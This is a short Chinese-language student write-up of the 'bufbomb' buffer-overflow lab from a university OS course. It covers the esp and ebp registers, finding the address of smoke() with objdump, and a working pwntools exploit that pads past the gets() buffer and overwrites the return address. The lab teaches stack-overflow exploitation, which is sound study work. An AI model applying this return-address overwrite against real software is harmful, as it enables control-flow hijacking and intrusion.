深渊大学 OS PA
一点点汇编知识
如何得知 char
开了多大
sub
是一个指令,用于执行减法操作。它的作用是将一个操作数的值减去另一个操作数,并将结果存储到指定的目的地。
esp
是啥寄存器
栈指针寄存器 当前栈顶
ebp
是啥寄存器
base寄存器 栈底
题目要求:返回到 smoke()
objdump
看一下 smoke()
地址
记录下来 08048eb0
接着查看造成溢出的 gets()
所写入的变量大小,标注的地方便为开 char
的大小
本实验中,bufbomb
中的 test()
函数将会调用 getbuf()
函数,getbuf()
函数再调用 gets()
从标准输入设备读入字符串。
exp
from pwn import *
from elftools.elf.elffile import ELFFile
path = './bufbomb'
elf = ELF(path)
io = process([path,'-t','123'])
# io = process('./bufbomb -t 123', shell = True)
def eat():
print(io.recvline())
for _ in range(2):
eat()
# print(int(0x28)) # 偏移
# ida查看栈帧
payload = cyclic(0x18 + 0x4) + p32(0x08048eb0) # big2lit
# 发送payload
io.sendline(payload)
eat()
io.interactive() # 把io给用户